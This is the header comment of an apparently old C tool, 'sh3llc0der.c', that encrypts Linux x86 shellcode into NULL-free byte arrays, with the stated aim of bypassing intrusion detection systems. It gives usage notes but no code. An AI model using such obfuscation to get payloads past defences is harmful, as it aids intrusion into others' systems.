linux x86 shellcode obfuscator

/*
*       sm4x - 2008 => sm4x0rcist [a7] gmail [d07] com
*       - sh3llc0der.c v0.1 (beta)
*       - (elf binary) shellcode encryptor, NULL free for IDS payload bypassing
*       - key is a simple int for x(x(p)) decryption(encryption(p)) (modify to add/subtract if needed)
*       - if you find bugs i dont wanna know -> fix them and its urs    
*       - watch for 0x0a, 0x0d warnings for \r\n as they get mucked in most str** calls
*
*       nb: nasm ur files with -felf, then ld -o them (u know)
*       usage: ./sh3llc0der [options] binaryfile
*       - output is a encoded byte array (or raw binary if -o <file> is specified)
*       - it was easier for me to write it directly hooking to the elf struct -> but you can change it (only took 3 hours so ITS BUGGY!)
